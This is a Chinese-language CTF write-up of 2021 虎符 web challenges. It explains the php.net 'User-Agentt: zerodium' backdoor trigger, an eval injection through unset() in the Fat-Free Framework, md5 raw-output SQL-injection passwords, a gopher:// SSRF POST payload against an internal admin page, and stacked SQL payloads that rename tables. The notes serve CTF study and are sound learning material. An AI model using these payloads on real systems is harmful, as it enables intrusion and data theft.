记录题目扫盲,只有前三题,包含以下points:

​ ①3.28 php.net后门

​ ②3F(FatFreeFramework)框架

​ ③SQL中md5()产生hex的'or'进行的注入

​ ④SSRF与gopher协议

i春秋虎符2021_web

签到

2021.3.28出了php官方git仓库git.php.net被插入恶意代码的事,若使用此源码进行开发,网站就会执行user_agentt头中以zerodium开始的任意代码,注意double t,没有打错

view on github

题目环境是一个blog,最后一篇文章描述了博客搭建过程,在没有hint的情况下这是入手点

unsetme

1
2
3
4
5
6
7
8
9
10
//Kickstart the framework
$f3 = require('1ib/base.php');
$f3->set( 'DEBUG' ,1);
if ((float)PCREVERSION <8.0)
trigger_error('PCREversion is out date');
//Load configuration
highlight_file(__FILE__);
$a = $GET ['a'];
unset($f3->$a);
$f3->run();

关键字:framework,f3

此为基于f3框架编写的代码,拿到手时应先本地搭建此框架,对于本题,这样你才有了base.php,才可以解题,各种不熟悉导致找不到本题入手点

把题目代码copy过来,加上route指定路径后本地运行(也就是说要先设置routerun,不然框架跑都跑不起来,怎么设置查一下文档就知道了¯\_(ツ)_/¯)

1
2
3
4
5
6
$f3->route('GET /test.php',
function() {
echo 'route set successfully';
}
);
$f3->run();

直接报错了,看看530行eval的情况

1
2
3
4
5
6
7
8
9
10
11
12
function clear($key) {
#...
else {
$val=preg_replace('/^(\$hive)/','$this->hive',
$this->compile('@hive.'.$key, FALSE));
eval('unset('.$val.');'); #第530行
if ($parts[0]=='SESSION') {
session_commit();
session_start();
}
}
}

追一下代码验证一下是不是unset触发的clear(),发现调用链条是__unset($key)offsetunset($key)clear($key)实锤

见里面有一个compile(),康康

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function compile($str, $evaluate=TRUE) {
return (!$evaluate)
? preg_replace_callback(
'/^@(\w+)((?:\..+|\[(?:(?:[^\[\]]*|(?R))*)\])*)/',
function($expr) {
$str='$'.$expr[1];
if (isset($expr[2]))
$str.=preg_replace_callback(
'/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',
function($sub) {
$val=isset($sub[2]) ? $sub[2] : $sub[1];
if (ctype_digit($val))
$val=(int)$val;
$out='['.$this->export($val).']';
return $out;
},
$expr[2]
);
return $str;
},
$str
)
#------------------下面这段都无关,毕竟clear()里传了FALSE------------------
: preg_replace_callback(
'/(?<!\w)@(\w+(?:(?:\->|::)\w+)?)'.
'((?:\.\w+|\[(?:(?:[^\[\]]*|(?R))*)\]|(?:\->|::)\w+|\()*)/',
function($expr) {
$str='$'.$expr[1];
#...

看样子对输入做了改动,但其实不想分析complie()的话,直接echo即可知道到底eval了什么代码

当a=hello
[Out] unset('$this->hive['hello']');

但现在既然比赛已经结束那还是稍微深入看一下complie(),遇到了我没见过的php:回调,匿名函数

  • 回调:在函数执行的过程中,一般是不能去干预他的行为的,当函数被设计成带有回调功能时,我们就有可能在函数的执行过程中,通过回调函数去干预他

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function foo($n, $f='') {
    if($n < 1) return;
    for($i=0; $i<$n; $i++) {
    echo $f ? $f($i) : $i;
    }
    }
    //无回调时
    foo(5); //01234

    //有回调时
    function f1($v) {
    return $v + $v;
    }
    foo(5, 'f1'); //02468

  • 匿名函数:允许临时创建一个没有指定名称的函数。最经常用作回调函数callable回调参数的值

preg_replace_callback除了可以指定一个 callback 替代 replacement 进行替换字符串的计算,其他方面等同于preg_replace

至于什么$this->hive之类的杂七杂八的都是后面才加上去的,和compile()无关

因为传参a会被compile处理为['xxx']的形式,所以需要打破这种格式,然后点号连接并闭合unset,最后eval执行任意代码

看看这个正则'/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',并没有匹配换行符,所以出了换行符这个正则就会被打断,于是便超度成功

慢慢做管理系统

描述:这个sql吧,有点ssrf的样子,首页是一个很普通的sql注入,没有什么花样,但是我的admin.php是一个内网的管理系统,只要你用“真-admin”的密码登录了,就可以拿到flag
hint:第一步登录的sql语句是"SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";

这个题没有怎么动,目前也没找到复现,暂时只能面向wp扫盲

登录

关键字是md5($password,true),第二个参数raw=true即转md5后又做一次hex2str

参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数

所以hint描述的这一步其实是md5万能密码:ffifdyop129581926211651571912466741651878684928在经过md5并转字符后均包含有'or',只要'or'右边非零,即会判定整个表达式为true,以此便绕过了登录

gopher协议

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

SSRF:Server-side Request Forge,服务端请求伪造;说白了就是:因为是由服务端发起,从而能够请求到与它相连而与外网隔离的内部系统 的一种攻击方式,比如通过file://,gopher://之类的协议来读本地文件什么的

本题是屏蔽了file://的,只能用gopher://

Gopher协议格式:URL:gopher://<host>:<port>/<gopher-path>_TCP数据流

  • gopher的默认端口是70
  • 如果发起POST请求,请求体需要进行url编码,回车换行需要使用%0d%0a代替

payload:/ssrf.php?way=127.0.0.1/admin.php,发现admin.php不再302了

然后通过gopher协议给admin.php发POST数据,HTTP协议默认端口是80,所以是往127.0.0.1:80发包:

1
gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%0aHost%3A%20127.0.0.1%0aContent-Type%3A%20application%2Fx-www-form-urlencoded%0aContent-Length%3A%2027%0ausername%3Dtest%26password%3Dtest%0a
gopher://127.0.0.1:80/
_POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=test&password=test

改表名

通过改表名获取数据@2019强网杯,也可以通过prepare预处理concat过滤的select,预处理的方法之前就记录过,不再重复

当过滤了select,就不能在查出表名列名后选中数据,但若查询的回显就是表中的字段,则可以通过rename将默认查询的表替换为目标表,从而直接从回显获取字段

例如本题中fake_admin是默认被查询的表,real_admin_here_do_you_find是目标表

1
$payload = "username=admin'/**/or/**/1=2;RENAME TABLE `fake_admin` TO `fake_admin1`;RENAME TABLE `real_admin_here_do_you_find` TO `fake_admin`;##&password=129581926211651571912466741651878684928";

顺便记一下 [2019强网杯-随便注] 的payload

1
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

此处改列名flagid是因为目标表中没有id列,而查询是根据id查询,避免了一开始无法查询的情况

CHANGE的语法为:

1
ALTER TABLE t1 CHANGE c_old c_new INTEGER ;#把名为c_old的列名改为c_new,类型为整数型

Internal System

超出能力范围的部分有点多,积累起来了再说

Comments

⬆︎TOP